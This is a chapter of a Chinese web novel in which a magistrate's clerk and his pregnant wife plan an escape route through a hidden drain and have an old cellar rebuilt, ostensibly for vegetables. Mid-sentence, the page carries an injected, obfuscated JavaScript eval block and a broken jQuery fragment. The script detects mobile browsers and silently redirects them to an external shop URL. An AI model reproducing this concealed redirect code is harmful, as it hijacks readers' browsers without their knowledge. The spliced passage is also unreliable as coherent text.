文趣网 > 其他小说 > 烬记山河 > 21. 筑窖藏余生
    “查全了再说。”她把书放下,端起茶盏抿了一口,“这段时间,你自己小心些。”

    闻见喜点了点头。他没有再多说县尉的事,伸手从落泽芝面前那碟花生米里捻了一颗放进嘴里,嚼了嚼。“你明天想吃什么?我让厨房做。”

    “清淡点的。这两天油腥闻着有点腻。”

    “行。”

    两人又坐了一会儿。

    灯花爆了一下,在灯盏里发出细小的‘噼啪’声。闻见喜起身去书房,将今天在档案室里抄的那几页纸夹进他那卷地图里,然后将卷轴重新放回暗格,落锁,推好。

    他在书房里多站了一会儿。窗外月色正好,照在院子里那棵桂花树上,枝叶在夜风中轻轻摇着。他低头看了看自己搭在桌面上的手——十指修长,指腹上有常年握笔留下的薄茧,看着不像能摸刀的手。但他知道自己不光会握笔、提刀、提剑,还善‘画’!

    转身吹熄了书房的灯,走回内室。落泽芝已经躺下了,呼吸绵长平稳,像是睡着了。在床沿坐了一会儿,低头看了看她的手——搁在被面上,五指微微曲着,掌心朝上,像在接着什么。他伸手把她蜷曲的手指轻轻舒展开,把被子往上拉了拉。

    屋外的铜铃又响了一声,然后静了。

    夜里,落泽芝翻了个身,忽然开口问了一句:“你画那幅图的时候,有没有想过——万一有一天真的用上了,咱们该往哪条路走?”

    闻见喜的声音从黑暗中传过来,平稳得像一块沉在水底的石头:“城东那条路最宽,但容易被堵。城西那条暗沟最窄,但没人知道。真要到了那一天——”

    “就走暗沟。”

    “嗯。”

    落泽芝没有再问。

    她把被子往肩上拢了拢,重新闭上眼。

    闻见喜在黑暗中没有入睡,他听着身边妻子平稳的呼吸声,又在脑中把那条暗沟的走向过了一遍。穿过城西城墙根,沿枯井出去,绕开官道,走野林子往东——如果那天真的来了,他们只有这么一条路可以走。

    只是……若朝阳城大路都无可走,估计南赡九州十三郡已彻底沦陷了。真到那个时候,人族哪还有什么活路可走?

    第二天一早,落泽芝就让翠儿去找了几个泥瓦匠来。

    泥瓦匠是朝阳城本地人,姓周,带着两个徒弟,常年在城里城外给人修房补墙。

    周师傅被领到后院时,手里还提着半桶石灰浆,看到落泽芝站在院子中间指挥人搬开墙角那堆旧花盆,有些摸不着头脑。

    “闻夫人,您这是……要修什么?”

    “修地窖。”落泽芝拍了拍手上的灰,指着墙角那处空地,“这底下以前有个老窖,年头久了塌了半边。我想把它重新挖开、加固一遍,存些过冬的菜和粮食。”

    周师傅蹲下来敲了敲地面的青砖,听了一会儿回音:“这底下的确是空的。不过闻夫人,修地窖得往下挖,动静大,灰尘也大,您这身子——”

    “没事。”

    落泽芝笑了笑,“才三个月,不妨事。你们只管挖,挖出来的土从后门运出去,别堆在前院就行。”

    周师傅看了看她微微隆起的小腹,又看了看她脸上那副‘就这么定了’的表情,识趣地没再多问。

    他招呼两个徒弟卸了工具,开始起砖。

    叮叮当当的敲打声从后院传出来,穿过两道院墙,落到前院廊下。

    闻见喜正准备出门,听到动静回头看了一眼后院方向,又看了看站在廊下袖手旁观的方生生——她端着一碗茶,目光落在那片正被撬开的青砖上,表情像是在看什么有趣的东西。

    “你娘又在搞什么名堂?”闻见喜低声问旁边的大梁。

    大梁蹲在台阶上剥毛豆,头也不抬:“娘说修地窖,存菜。”

    “存菜?”

    “娘说冬天萝卜白菜没地方放。”

    闻见喜沉默了一下,没有再追问,弯腰揉了揉大梁的脑袋,出门去了。他在心里把这句‘冬天萝卜白菜没地方放’跟昨天晚上妻子问的那句‘咱们该往哪条路走’放在一起想了想,觉得这两件事之间大概隔着好几层他暂时不用问的东西。推开院门时脚步比平时略快了一些——既然妻子开始修“地窖“了,那他衙门里的事也不能拖。

    后院那头,周师傅已经领着两个徒弟凿开了三层青砖。底下露出来一个黑洞洞的方形开口,边缘的青砖颜色比上面的旧,明显是很多年前砌的。周师傅探头往下看了看,拿锤子敲了敲内壁,回声厚实。

    “闻夫人,这底下原本的地窖砌得不差,就是年头久了,壁上有几处裂缝。重新抹一遍灰浆、加固几根木柱就能用。”

    “那麻烦周师傅了。”落泽芝扶着墙沿也往下看

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17806223|210736||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了一眼,然后直起身来,“挖多深?”

    “照您说的,存菜的话往下挖个一人多深就够了。再深了潮气重,菜搁不住。”

    “那就一人半深。”落泽芝说,“底上再铺一层防潮的石板,壁上的灰浆多抹两遍。工钱好说。”

    周师傅应了一声,招呼两个徒弟继续往下挖。

    落泽芝看了一会儿,转身回了正屋。

    但当天下午,她又让翠儿去城东的石料铺子订了三块青石板、两捆防潮的油布、一袋石灰。

    翠儿问她:“夫人,这些东西是修地窖用的?”

    落泽芝正坐在窗下剥莲子,头也不抬:“嗯。你要是有空,再去铁匠铺子帮我打几根铁楔子,要长的那种。就说钉木架子用的。”

    翠儿应了,小跑着出了门。

    落泽芝继续剥莲子。她手里的动作很轻,指腹捻开莲子的绿皮,把白色的果仁放进旁边的小碗里,一气呵成。她的脸上看不出什么特别的表情,但如果有人仔细看她的手,会发现她每一根手指都在按照某种固定的节奏运动——三下剥皮,两下分瓣,一下归拢。像是一套早已练熟的指法。

    泥瓦匠在后院干了三天。

    三天后地窖的主体挖好了,一人半深,底部铺了青石板,壁上的裂缝用石灰和糯米浆重新抹过,表面平整光滑。

    周师傅收了工钱,带着两个徒弟走了。

    临走时他拍了拍手上的灰:“闻夫人,这地窖砌得扎实,再过二十年都不会塌。”

    “谢谢周师傅了。”

    周师傅走后,落泽芝让翠儿把后院的角门从里面闩上了,然后自己提了一盏灯,沿着新砌的台阶走了下去。她在地窖里待了大半个时辰。出来的时候,灯盏里的油少了一半,她的袖口沾了些灰,但脸上神色平静。

    当天晚上,闻见喜回家之后,她简单提了一句:“地窖修好了。你要不要下去看看?”

    闻见喜放下手里的公文,看了她一眼:“修好了?”

    “嗯。”落泽芝端起茶壶倒了杯茶,“底下比我想的宽。回头存几缸酸菜、放两袋米、挂几串腊肉都够。你要是有什么别的东西想放,也能放。”

    ‘别的东西’三个字被她咬得轻描淡写,像是不经意顺带提了一嘴。

    但闻见喜听懂了。他点了点头:“行。明天我看看。”